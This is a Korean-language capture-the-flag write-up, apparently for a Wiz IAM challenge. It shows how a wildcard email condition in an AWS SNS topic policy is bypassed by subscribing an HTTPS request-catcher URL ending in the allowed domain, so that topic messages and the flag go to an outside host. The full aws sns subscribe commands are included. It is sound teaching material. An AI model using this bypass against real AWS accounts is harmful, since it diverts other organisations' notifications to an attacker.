{
"Version": "2008-10-17",
"Id": "Statement1",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
"Condition": {
"StringLike": {
"sns:Endpoint": "*@tbic.wiz.io"
}
}
}
]
}
해당 Policy 는 Amazon SNS Topic에 대해 특정 조건에 따라 구독(Subscribe) 권한을 부여하는 설정으로 파악된다.
"Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications"
TBICWizPushNotifications
Endpoint
가 *@tbic.wiz.io
일때 Subscribe
(구독) 권한을 주는 듯
즉, *@tbic.wiz.io
로 끝나는 이메일 주소만 구독 가능하는 것을 알 수 있다.!
> aws sns subscribe \
--topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \
--protocol email \
--notification-endpoint user@tbic.wiz.io
{
"SubscriptionArn": "pending confirmation"
}
“pending confirmation” 이라는 message 가 출력되면 성공적으로 Subscribe
된거라고 한다.
user 로 테스트 했을 때 성공한 걸 확인했으니까,, 아무래도 메일 내용을 확인하기 위해서는 임의의 이메일 서버가 필요하다.
구글계정 희생하면 풀 수 있는듯하다. <br>
구글 계정 > 보안 > “앱비밀번호” 검색

아래 스크립트는 메일서버에 메일을 보내는 파이썬 스크립트다.
(구글링해서 찾음)
```json
# 라이브러리 불러오기
import smtplib
# 개인 정보 입력(email, 앱 비밀번호)
my_email = "temp@tbic.wiz.io"
password = "{16자리 app 비밀번호"
# 방법 1(with 사용 X)
connection = smtplib.SMTP("smtp.gmail.com") #보내는 메일의 SMTP 주소입력
connection.starttls() # Transport Layer Security : 메시지 암호화 기능
connection.login(user=my_email, password=password)
connection.sendmail(
from_addr=my_email,
to_addr="youremail@naver.com",
msg="Subject:Hello\n\nThis is the body of my email."
) #Subject:제목\n\n내용 구조로 메시지 입력.
connection.close()
# 방법 2(with 사용)
with smtplib.SMTP("smtp.gmail.com") as connection:
connection.starttls() #Transport Layer Security : 메시지 암호화
connection.login(user=my_email, password=password)
connection.sendmail(
from_addr=my_email,
to_addrs="youremail@naver.com",
msg="Subject:Hello\n\nThis is the body of my email."
)
```
위와 같은 스크립트를 사용해서도 어떻게든 풀 수 있을 것 같긴한데, 과정이 조금 복잡해서 결국 이것저것 시도 해보다가 드림핵툴즈를 사용하기로 했다.
https://tools.dreamhack.games/
SNS가 email 말고 HTTP(S), Lambda, firehose 등의 프로토콜도 지원하기 때문에 이 점을 이용해 Policy의 Endpoint 조건을 우회할 수 있다.
위 명령어에서 email → https 로 변경하고 드림핵 툴즈 링크를 걸어준뒤, 마지막에 이메일 양식 문자열만 추가한다면 우회가 가능하다.
> aws sns subscribe \
--topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \
--protocol https \
--notification-endpoint https://nqwpmog.request.dreamhack.games/test@tbic.wiz.io
{
"SubscriptionArn": "pending confirmation"
}
아래와 같이 body 를 확인할 수 있다.
"Message"
: "You have chosen to subscribe to the topic arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications.
To confirm the subscription, visit the SubscribeURL included in this message."
받은 데이터에있는 링크를 방문하게 되면, 아래와 같은 사이트를 확인할 수 있다.
SubscribeURL 로 구독을 확인하면 POST 요청이 하나 더 날아온다.
해당 사이트를 방문한 것이 구독을 확인한 것이므로, 이제 정말 메시지를 받을 수 있다.
“Message”
에서 플래그를 확인할 수 있다.
{wiz:always-suspect-asterisks}